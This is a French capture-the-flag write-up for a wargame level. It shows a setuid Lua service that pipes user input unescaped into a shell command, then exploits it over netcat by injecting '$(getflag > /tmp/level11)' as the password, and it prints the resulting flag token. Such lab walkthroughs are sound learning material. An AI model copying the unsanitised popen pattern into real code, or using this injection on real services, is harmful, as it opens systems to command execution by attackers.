Lors de mon arriver sur le level 11 je remarque un fichier lua lisble ```bash ls -l total 4 -rwsr-sr-x 1 flag11 level11 668 Mar 5 2016 level11.lua ``` Je l'ouvre pour regarder le contenue ```lua #!/usr/bin/env lua local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 5151)) function hash(pass) prog = io.popen("echo "..pass.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local l, err = client:receive() if not err then print("trying " .. l) local h = hash(l) if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then client:send("Erf nope..\n"); else client:send("Gz you dumb*\n") end end client:close() end ``` Le hash a ete decode via [CrashStation](https://crackstation.net/) et donne en sha1 NotSoEasy Ce n'est donc pas la reponse mais il fallait bien tenter Lors de la lecture du script nous pouvons voir que le port 5151 est ouvert et donc nous pouvons essayer de le lancer avec un netcat en ecoute de ce dernier Lorsqu'il est en ecoute il demande un password ```bash nc localhost 5151 Password: ``` mais le hash est calculer en effectuant une commande `echo $args | sha1sum` (traduit en shell) nous pouvons donc executer une commande sur cette derniere mais le resultat ne nous sera pas afficher car pas envoyer au client mais nous pouvons la lancer directement pour rediriger dans un fichier ```bash nc localhost 5151 Password: $(getflag > /tmp/level11) Erf nope... cat /tmp/level11 Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s ```